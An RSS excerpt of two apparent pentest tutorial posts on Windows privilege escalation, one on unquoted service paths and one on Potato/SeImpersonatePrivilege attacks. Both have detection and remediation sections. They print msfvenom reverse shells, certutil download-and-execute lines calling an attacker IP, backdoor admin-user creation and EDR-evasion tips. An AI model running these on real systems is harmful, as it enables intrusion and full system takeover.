            <content:encoded><![CDATA[<p><em>Part 2 of the Windows Privilege Escalation series</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*-P7HjXH7jtNzl7zT" /></figure><p>You’ve RDP’d into a machine as a normal low-privilege user.</p><p>No SeImpersonatePrivilege. No weak passwords. Nothing obvious.</p><p>Then you check service paths and see this:</p><pre>C:\Program Files\Vulnerable App\Service Folder\service.exe</pre><p>No quotes around it. That’s your way in.</p><h3>What is an Unquoted Service Path?</h3><p>When Windows starts a service, it reads the executable path from the registry and launches it.</p><p>If that path <strong>contains spaces</strong> and is <strong>not wrapped in quotes</strong>, Windows doesn’t know where the path ends and the arguments begin — so it tries multiple interpretations <strong>in order</strong> until one works.</p><p><strong>Example path:</strong></p><pre>C:\Program Files\Vulnerable App\Service Folder\service.exe</pre><p><strong>What Windows actually tries:</strong></p><pre>C:\Program.exe<br>C:\Program Files\Vulnerable.exe<br>C:\Program Files\Vulnerable App\Service.exe<br>C:\Program Files\Vulnerable App\Service Folder\service.exe</pre><p>Windows tries each one from left to right. The first one that exists — it runs it.</p><p>If you can drop a malicious executable at any of those earlier locations, Windows will run <strong>your binary</strong> as the service — which often runs as SYSTEM.</p><h3>Why Does Windows Do This?</h3><p>This is how the Windows CreateProcess() API interprets unquoted strings with spaces — it&#39;s a parsing behaviour built into Windows itself, not a bug in the specific application.</p><p>The fix is simple — wrap the path in quotes:</p><pre>&quot;C:\Program Files\Vulnerable App\Service Folder\service.exe&quot;</pre><p>But developers and sysadmins have been forgetting to do this for decades.</p><h3>The Attack Scenario</h3><p>You’ve connected via RDP as a normal domain user corp\jsmith on a Windows Server 2019 machine.</p><pre>C:\&gt; whoami<br>corp\jsmith</pre><pre>C:\&gt; whoami /priv<br># Nothing interesting — standard user privileges</pre><p>No obvious path to SYSTEM. Let’s start enumerating.</p><h3>Step 1 — Find Unquoted Service Paths</h3><h3>Method 1 — WMIC (Manual)</h3><pre>wmic service get name,displayname,pathname,startmode | findstr /i &quot;auto&quot; | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;</pre><p><strong>What this does:</strong></p><ul><li>Lists all services set to auto-start</li><li>Excludes built-in Windows services (usually safe)</li><li>Excludes paths already wrapped in quotes (already safe)</li></ul><p><strong>Example output:</strong></p><pre>VulnService    Vulnerable Service    C:\Program Files\Vulnerable App\Service Folder\service.exe    Auto</pre><p>No quotes around the path — vulnerable.</p><h3>Method 2 — PowerUp.ps1 (Automated)</h3><p>PowerUp is part of PowerSploit and automates the entire check for you.</p><p><strong>Transfer PowerUp to the target:</strong></p><pre># On your attack machine<br>python3 -m http.server 8080</pre><pre># On the target<br>certutil -urlcache -f http://&lt;YOUR_IP&gt;:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1</pre><p><strong>Run it:</strong></p><pre>powershell -ep bypass<br>. .\PowerUp.ps1<br>Invoke-AllChecks</pre><p><strong>Example output:</strong></p><pre>[*] Checking for unquoted service paths...</pre><pre>ServiceName    : VulnService<br>Path           : C:\Program Files\Vulnerable App\Service Folder\service.exe<br>StartName      : LocalSystem<br>AbuseFunction  : Write-ServiceBinary -ServiceName &#39;VulnService&#39; -Path &lt;HijackPath&gt;</pre><p>PowerUp even tells you exactly where to drop your binary and gives you the command to exploit it directly.</p><h3>Step 2 — Check Write Permissions</h3><p>Finding the unquoted path is only half the job. You need <strong>write access</strong> to one of the directories Windows will check first.</p><pre># Check permissions on each folder in the path<br>icacls &quot;C:\Program Files\Vulnerable App&quot;</pre><p><strong>What you’re looking for:</strong></p><pre>C:\Program Files\Vulnerable App BUILTIN\Users:(W)</pre><p>(W) means write access — you can drop files here as a normal user.</p><p><strong>With PowerUp — it checks this automatically:</strong></p><pre>Get-ServiceUnquoted | Select-Object ServiceName, Path, ModifiablePath</pre><h3>Step 3 — Generate Your Malicious Binary</h3><pre># Generate a reverse shell payload<br>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;YOUR_IP&gt; LPORT=4444 -f exe -o Service.exe</pre><p>The filename matters — it must match what Windows will try to execute.</p><p>From our example path:</p><pre>C:\Program Files\Vulnerable App\Service Folder\service.exe</pre><p>Windows will try C:\Program Files\Vulnerable App\Service.exe — so name your binary Service.exe and drop it there.</p><h3>Step 4 — Drop the Binary and Restart the Service</h3><pre># Copy your binary to the vulnerable location<br>copy Service.exe &quot;C:\Program Files\Vulnerable App\Service.exe&quot;</pre><pre># Set up your listener on attack machine<br>nc -lvnp 4444</pre><pre># Restart the service to trigger execution<br>sc stop VulnService<br>sc start VulnService</pre><p>The service restarts, Windows finds your Service.exe first, executes it as SYSTEM, and you catch the shell.</p><pre>connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 49832<br>Microsoft Windows [Version 10.0.17763.2628]</pre><pre>C:\Windows\system32&gt; whoami<br>nt authority\system</pre><h3>Using PowerUp to Exploit Directly</h3><p>PowerUp can also do the exploitation for you — it writes a service binary that adds a local admin user:</p><pre>Write-ServiceBinary -ServiceName &#39;VulnService&#39; -Path &quot;C:\Program Files\Vulnerable App\Service.exe&quot;</pre><pre>Restart-Service VulnService</pre><pre># New local admin user created<br>net localgroup administrators</pre><p>Useful when you just need admin access quickly without setting up a listener.</p><h3>Blue Team Perspective — How Defenders Catch This</h3><p><strong>Windows Event IDs to watch:</strong></p><pre>Event ID    What it means<br>─────────────────────────────────────────────────────────────────<br>4697        A service was installed — new service binary registered<br>4688        New process created — unexpected binary launched as SYSTEM<br>7045        New service installed in the system<br>7036        Service started/stopped — unusual timing or frequency<br>─────────────────────────────────────────────────────────────────</pre><p><strong>Suspicious patterns a SOC analyst would flag:</strong></p><ul><li>A binary executing from C:\Program Files\ directly (not a subfolder) as SYSTEM</li><li>certutil.exe downloading files to C:\Windows\Temp\</li><li>PowerShell with -ep bypass flag from a standard user session</li><li>A service stopping and starting within seconds — manual restart pattern</li></ul><p><strong>SIEM query example (Splunk):</strong></p><pre>index=windows EventCode=4688<br>NewProcessName=&quot;C:\\Program Files\\*.exe&quot;<br>User=&quot;NT AUTHORITY\\SYSTEM&quot;<br>| table _time, ComputerName, NewProcessName, ParentProcessName</pre><p>This catches executables running as SYSTEM directly from Program Files — a strong indicator of unquoted service path abuse.</p><h3>Remediation</h3><p>For defenders and your pentest reports:</p><ol><li><strong>Always quote service paths</strong> — wrap every service executable path in double quotes in the registry</li><li><strong>Audit regularly</strong> — run the WMIC command periodically to catch new vulnerable services</li><li><strong>Restrict write permissions</strong> — standard users should never have write access to Program Files subdirectories</li><li><strong>Use PowerUp in your audits</strong> — run it as part of internal security reviews</li><li><strong>EDR monitoring</strong> — alert on unexpected binaries executing as SYSTEM from user-writable directories</li></ol><p><strong>Quick audit command for sysadmins:</strong></p><pre>wmic service get name,pathname | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;</pre><p>Run this and if anything comes back — fix it immediately.</p><h3>Key Takeaways</h3><ul><li>Unquoted paths with spaces let you hijack Windows service execution</li><li>Windows tries multiple path interpretations — drop your binary at the right location</li><li>Write permission to the directory is required — always check with icacls</li><li>PowerUp automates both detection and exploitation</li><li>Binary names are flagged by EDRs — rename them in real engagements</li><li>The fix is one character — a quote. Yet it’s everywhere in the wild.</li></ul><p><em>Part 1 of this series: </em><a href="https://medium.com/@christopherarock482004/from-service-account-to-system-abusing-seimpersonateprivilege-on-windows-54a1ff0c3b6b"><em>From Service Account to SYSTEM: Abusing SeImpersonatePrivilege</em></a></p><p><em>Written by Christopher Arock | </em>linkedin.com/in/christopher-arock<em>| github.com/arock404</em></p><p><em>This article is for educational purposes only. Only test on systems you own or have explicit written permission to test.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=018ecd3d16cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Service Account to SYSTEM: Abusing SeImpersonatePrivilege on Windows]]></title>
            <link>https://christopherarock.medium.com/from-service-account-to-system-abusing-seimpersonateprivilege-on-windows-54a1ff0c3b6b?source=rss-680b622d2d31------2</link>
            <guid isPermaLink="false">https://medium.com/p/54a1ff0c3b6b</guid>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Christopher Arock]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 14:33:31 GMT</pubDate>
            <atom:updated>2026-06-10T14:33:31.629Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical guide to Potato attacks for penetration testers</em></p><p>If you&#39;ve spent any time doing Windows privilege escalation, you&#39;ve probably run whoami /priv and stared at that one line:</p><pre><strong>SeImpersonatePrivilege    </strong>Impersonate a client after authentication<strong>    </strong>Enabled</pre><p>And thought — <em>now what?</em></p><p>This privilege is quietly handed to service accounts like IIS and MSSQL by Windows itself. Microsoft needs these services to impersonate users — that&#39;s legitimate. But when an attacker lands a shell on one of these accounts, that same privilege becomes a direct path to SYSTEM.</p><p>In this article I&#39;ll break down exactly how SeImpersonatePrivilege works, why the Potato family of exploits abuses it so effectively, how to exploit it across different Windows versions, and — importantly — what it looks like from a defender&#39;s perspective.</p><p>No fluff. Just the attack, the why behind it, and how blue teams catch it.</p><h3>What is SeImpersonatePrivilege?</h3><p>Windows uses <strong>access tokens</strong> to identify who a process is running as and what it&#39;s allowed to do. Every process has one.</p><p>SeImpersonatePrivilege allows a process to <strong>impersonate another user&#39;s token</strong> — essentially borrowing their identity at the OS level.</p><p>Microsoft intentionally grants this to certain service accounts because they need it to function:</p><pre>Accounts that have SeImpersonatePrivilege by default:<br><br><strong>- IIS Application Pool —</strong> needs to impersonate web request users<strong><br>- MSSQL Service — </strong>needs to impersonate database users<strong><br>- Network Service — </strong>needs to impersonate for network operations<strong><br>- Local Service — </strong>same reason</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*eVWRhPxOZCoK799j.png" /></figure><p>If user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann’s access token and use it to access her files. This way, the files don’t need to provide access to user ftp in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won&#39;t be able to access Jude&#39;s or Bill&#39;s files during that session.</p><p>The problem — these service accounts are exactly where attackers land shells after exploiting web applications.</p><h3>The Attack Scenario</h3><p>Imagine this:</p><ol><li>You find a file upload vulnerability on a web application running on IIS</li><li>You upload a web shell and get command execution</li><li>You run whoami and get back iis apppool\defaultapppool</li><li>You run whoami /priv and see SeImpersonatePrivilege is <strong>Enabled</strong></li></ol><p>You&#39;re not SYSTEM yet — but you&#39;re one Potato attack away.</p><pre>C:\&gt; whoami<br>iis apppool\defaultapppool<br><br>C:\&gt; whoami /priv<br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                               State<br>============================= ========================================= ========<br>SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled<br>SeImpersonatePrivilege        Impersonate a client after authentication Enabled<br>SeCreateGlobalObjects         Create global objects                     Enabled</pre><p>This is your green light.</p><h3>How Potato Attacks Work — The Core Concept</h3><p>All Potato attacks share the same fundamental idea:</p><ol><li><strong>Trick a high-privileged process</strong> (like SYSTEM) into authenticating to a fake server you control</li><li><strong>Capture that authentication token</strong> using SeImpersonatePrivilege</li><li><strong>Impersonate that token</strong> to spawn a SYSTEM shell</li></ol><p>Think of it like this — you set up a fake &quot;checkpoint&quot; and when SYSTEM walks through it, you steal their ID badge and use it yourself.</p><p>The Potato family evolved over the years as Microsoft kept patching each variant. Let&#39;s go through all of them.</p><h3>Under the Hood — Why Does SYSTEM Connect to Your Fake Server?</h3><p>This is the question most articles skip. If you don’t understand this, the attack feels like magic. Let’s fix that.</p><h3>What is a Named Pipe?</h3><p>A Named Pipe is a <strong>communication tunnel between two processes</strong> on Windows. Think of it like a private channel — two processes can talk to each other through it without needing a network connection. It all happens locally inside Windows.</p><p>Named pipes have a path that looks like this:</p><pre>\\.\pipe\somename</pre><p>Any process can create a named pipe and sit there listening, waiting for another process to connect. When a process connects, Windows automatically handles authentication between them — and <strong>that authentication creates a token.</strong></p><p>That token is what we’re after.</p><h3>What is COM?</h3><p>COM (Component Object Model) is Windows’ system for letting processes <strong>use functionality from other processes.</strong></p><p>A simple example:</p><pre><strong>Low privilege app needs to print a document<br>↓<br>It can&#39;t do it directly — no permissions<br>↓<br>It calls a COM object that has print privileges<br>↓<br>Windows launches that COM object and handles the communication</strong></pre><p>Every COM object has a unique ID called a <strong>CLSID</strong> and runs under a specific Windows user account. Here’s the critical part — <strong>some COM objects run as SYSTEM.</strong></p><h3>The Actual Trick — Step by Step</h3><p>Here’s exactly what happens when you run GodPotato or JuicyPotato:</p><p><strong>Step 1 — You create a fake named pipe</strong></p><pre>You: &quot;Windows, create a pipe at \\.\pipe\fakepipe&quot;<br>Windows: &quot;Done. Listening for connections.&quot;</pre><p><strong>Step 2 — You activate a COM object that runs as SYSTEM</strong></p><pre>You: &quot;Windows, I want to use this COM object (CLSID xyz)&quot;<br>Windows: &quot;Okay, launching it — it runs as SYSTEM&quot;</pre><p><strong>Step 3 — You redirect that COM object to YOUR pipe</strong></p><pre>The COM object launches and tries to initialize itself<br>The Potato tool intercepts this and redirects it to your fake pipe<br>The SYSTEM process hits your pipe and Windows automatically<br>triggers NTLM authentication — because that&#39;s just how pipes work</pre><p><strong>Step 4 — NTLM authentication happens automatically</strong></p><pre>SYSTEM process: *authenticates to your pipe*<br>Windows: *creates a SYSTEM token during this authentication*<br>You: *capture that token using SeImpersonatePrivilege*</pre><p><strong>Step 5 — You impersonate the token</strong></p><pre>SeImpersonatePrivilege: &quot;You&#39;re allowed to borrow this token&quot;<br>You: now running as NT AUTHORITY\SYSTEM</pre><p><strong>SYSTEM doesn’t choose to connect to you.</strong> The COM object is designed by Windows to authenticate when it initializes — you just hijack where that authentication goes.</p><h3>The Real World Analogy</h3><p>Imagine a hotel where VIP guests automatically swipe their keycard at every door they walk through — it’s just how the hotel works.</p><p>You bribe the elevator operator to route the VIP through your floor first.</p><p>The VIP walks through your floor, swipes their keycard automatically at your door (they don’t even notice), you clone the keycard, and now you have VIP access everywhere.</p><p>The VIP didn’t choose to give you access. The system just works that way.</p><h3>Why Can’t Microsoft Just Fix This Completely?</h3><p>Because <strong>COM authentication and named pipes are fundamental to how Windows works.</strong> Hundreds of legitimate applications rely on this exact behavior daily.</p><p>Every Potato patch Microsoft releases blocks specific CLSIDs or specific pipe tricks — it’s whack-a-mole. That’s why new Potato variants keep appearing year after year. The underlying mechanism is too deeply embedded in Windows to simply remove.</p><h3>The Potato Family</h3><h3>1. HotPotato (2016)</h3><p><strong>Works on:</strong> Windows 7, 8, 10, Server 2008, 2012</p><p>The original. Combined three separate techniques:</p><ul><li>NBNS spoofing</li><li>NTLM relay</li><li>Windows Defender privilege escalation</li></ul><p><strong>How it worked:</strong></p><pre>Attacker machine spoofs NBNS responses<br>→ Victim resolves fake WPAD server<br>→ NTLM authentication captured<br>→ Relayed to get SYSTEM token</pre><p><strong>Status:</strong> Patched by Microsoft. Mostly historical now but important to understand as the foundation.</p><h3>2. RottenPotato (2016)</h3><p><strong>Works on:</strong> Windows Server 2008, 2012, 2016 — older systems</p><p>Used a fake COM server to coerce the SYSTEM token through:</p><ul><li>Creating a fake COM object</li><li>Triggering the Windows token negotiation process</li><li>Capturing and impersonating the SYSTEM token</li></ul><p><strong>Status:</strong> Patched. But the concept directly inspired everything that followed.</p><h3>3. JuicyPotato (2018)</h3><p><strong>Works on:</strong> Windows 7, 8, 10, Server 2008, 2012, 2016 (NOT Server 2019+)</p><p>JuicyPotato was the go-to tool for years. It improved on RottenPotato by allowing you to specify any CLSID (COM object) to abuse, making it far more flexible.</p><p><strong>Download:</strong> https://github.com/ohpe/juicy-potato</p><p><strong>Usage:</strong></p><pre># Basic usage<br>JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}<br><br># Get a reverse shell<br>JuicyPotato.exe -l 1337 -p cmd.exe -a &quot;/c powershell -e &lt;base64_payload&gt;&quot; -t * -c {CLSID}</pre><p><strong>Finding the right CLSID:</strong> Different Windows versions need different CLSIDs. The JuicyPotato GitHub has a full list sorted by OS version.</p><pre># Example CLSID for Windows Server 2016<br>JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}</pre><p><strong>Expected output:</strong></p><pre>Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337<br>......<br>[+] authresult 0<br>{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM<br>[+] CreateProcessWithTokenW OK</pre><p><strong>Status:</strong> Patched on Server 2019 and Windows 10 1809+. Still works on older systems you&#39;ll frequently encounter in real engagements.</p><h3>4. PrintSpoofer (2020)</h3><p><strong>Works on:</strong> Windows 10, Server 2016, Server 2019</p><p>When JuicyPotato stopped working on newer systems, PrintSpoofer filled the gap. It abuses the <strong>Print Spooler service</strong> to capture a SYSTEM token.</p><p><strong>Download:</strong> https://github.com/itm4n/PrintSpoofer</p><p><strong>Usage:</strong></p><pre># Spawn interactive SYSTEM shell<br>PrintSpoofer.exe -i -c cmd<br><br># Execute a specific command as SYSTEM<br>PrintSpoofer.exe -c &quot;whoami&quot;<br><br># Get a reverse shell<br>PrintSpoofer.exe -c &quot;powershell -e &lt;base64_payload&gt;&quot;</pre><p><strong>Expected output:</strong></p><pre>[+] Found privilege: SeImpersonatePrivilege<br>[+] Named pipe listening...<br>[+] CreateProcessAsUser() OK<br>NT AUTHORITY\SYSTEM</pre><p><strong>Status:</strong> Still works on many systems. Microsoft partially addressed Print Spooler issues (PrintNightmare patches) but PrintSpoofer itself still functions on unpatched systems.</p><h3>5. GodPotato (2023)</h3><p><strong>Works on:</strong> Windows 2012 - Windows 2022, Windows 8 - Windows 11</p><p>The current king. GodPotato works across the widest range of Windows versions and is your go-to tool in modern engagements.</p><p><strong>Download:</strong> https://github.com/BeichenDream/GodPotato</p><p><strong>Usage:</strong></p><pre># Check if it works and get SYSTEM shell<br>GodPotato.exe -cmd &quot;cmd /c whoami&quot;<br><br># Spawn a full reverse shell<br>GodPotato.exe -cmd &quot;cmd /c powershell -e &lt;base64_reverse_shell&gt;&quot;<br><br># Add a user as admin<br>GodPotato.exe -cmd &quot;cmd /c net user hacker Password123! /add &amp;&amp; net localgroup administrators hacker /add&quot;</pre><p><strong>Expected output:</strong></p><pre>[*] CombaseModule: 0x140729329131520<br>[*] DispatchTable: 0x140729331668240<br>[*] UseProtseqTable: 0x140729331637856<br>[*] UseProtseqTableCount: 0x6<br>[*] DispatchTableCount: 0x133<br>[*] PipeMaxInstanceCount: 0xa<br>[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE<br>[*] CurrentsImpersonatePrivilege: True<br>[!] SYSTEM</pre><h3>Quick Reference — Which Potato to Use</h3><pre><strong>Windows Version          Best Tool<br>─────────────────────────────────────────────<br>Server 2008 / 2012       JuicyPotato<br>Windows 7 / 8            JuicyPotato<br>Windows 10 (older)       JuicyPotato or PrintSpoofer<br>Server 2016              JuicyPotato or PrintSpoofer<br>Server 2019              PrintSpoofer or GodPotato<br>Windows 10/11 (recent)   GodPotato<br>Server 2022              GodPotato</strong><br><br><br><strong>Don&#39;t know the version?  Try GodPotato first</strong></pre><h3>Full Attack Walkthrough</h3><p>Here&#39;s the complete flow from web shell to SYSTEM:</p><p><strong>Step 1 — Land your shell</strong></p><pre># You&#39;ve exploited a file upload and have a web shell<br># Upgrade to a proper reverse shell first<br>powershell -e &lt;base64_encoded_reverse_shell_payload&gt;</pre><p><strong>Step 2 — Confirm your privilege</strong></p><pre>whoami<br># iis apppool\defaultapppool<br><br>whoami /priv<br># Look for SeImpersonatePrivilege — Enabled</pre><p><strong>Step 3 — Transfer GodPotato to the target</strong></p><pre># On your attack machine - serve the file<br>python3 -m http.server 8080<br><br># On the target - download it<br>certutil -urlcache -f http://&lt;YOUR_IP&gt;:8080/GodPotato.exe C:\Windows\Temp\gp.exe</pre><p><strong>Step 4 — Execute and escalate</strong></p><pre>C:\Windows\Temp\gp.exe -cmd &quot;cmd /c whoami&quot;<br># NT AUTHORITY\SYSTEM</pre><p><strong>Step 5 — Get a SYSTEM reverse shell</strong></p><pre># Generate payload with msfvenom<br>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;YOUR_IP&gt; LPORT=4444 -f exe -o shell.exe<br><br># Serve it<br>python3 -m http.server 8080<br><br># On target - download and execute via GodPotato<br>C:\Windows\Temp\gp.exe -cmd &quot;cmd /c certutil -urlcache -f http://&lt;YOUR_IP&gt;:8080/shell.exe C:\Windows\Temp\shell.exe &amp;&amp; C:\Windows\Temp\shell.exe&quot;</pre><p>You now have a SYSTEM shell.</p><h3>Blue Team Perspective — How Defenders Catch This</h3><p>This section matters. Understanding detection makes you a better attacker — and if you&#39;re going into security consulting, clients will ask you this directly.</p><p><strong>Windows Event IDs to watch:</strong></p><pre><strong>Event ID    What it means<br>─────────────────────────────────────────────────────────────────<br>4624        Logon — look for impersonation logon type (Type 3)<br>4648        Logon with explicit credentials — COM server auth<br>4672        Special privileges assigned — SeImpersonatePrivilege usage<br>7045        New service installed — some Potato variants create services<br>─────────────────────────────────────────────────────────────────</strong></pre><p><strong>Suspicious patterns a SOC analyst would flag:</strong></p><ul><li>iis apppool or nt authority\network service spawning cmd.exe or powershell.exe</li><li>certutil.exe being used to download files (common living-off-the-land technique)</li><li>Unusual child processes from service accounts</li><li>GodPotato.exe, PrintSpoofer.exe, JuicyPotato.exe — these binary names are flagged by most EDRs immediately</li></ul><p><strong>SIEM query example (Splunk):</strong></p><pre>index=windows EventCode=4688 <br>ParentImage=&quot;*w3wp.exe&quot; <br>(NewProcessName=&quot;*cmd.exe&quot; OR NewProcessName=&quot;*powershell.exe&quot;)<br>| table _time, ComputerName, ParentImage, NewProcessName, CommandLine</pre><p>This catches IIS worker processes spawning shells — one of the most common indicators of a web shell being used.</p><h3>Remediation — How to Fix It</h3><p>For defenders and for your pentest reports:</p><ol><li><strong>Principle of Least Privilege</strong> — Service accounts should only have the privileges they actually need. Audit regularly.</li><li><strong>Patch management</strong> — Keep Windows updated. Microsoft has patched several Potato variants over the years.</li><li><strong>Application whitelisting</strong> — Prevent unknown executables from running in temp directories.</li><li><strong>EDR solutions</strong> — Most modern EDRs detect Potato attack binaries by signature and behavior.</li><li><strong>Restrict certutil</strong> — Monitor or block certutil being used for downloads via AppLocker or WDAC.</li><li><strong>Disable Print Spooler</strong> where not needed — reduces PrintSpoofer attack surface significantly.</li></ol><h3>Key Takeaways</h3><ul><li>SeImpersonatePrivilege on a service account shell is almost always a path to SYSTEM</li><li>The Potato family evolved as Microsoft patched each variant — always check your Windows version first</li><li><strong>GodPotato</strong> is your default choice in 2024 — widest compatibility</li><li>The binary names are well-known to EDRs — in real engagements, rename them</li><li>Understanding detection makes you write better pentest reports and makes you a better consultant</li></ul><p><em>This article is for educational purposes only. Only test on systems you own or have explicit written permission to test.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54a1ff0c3b6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>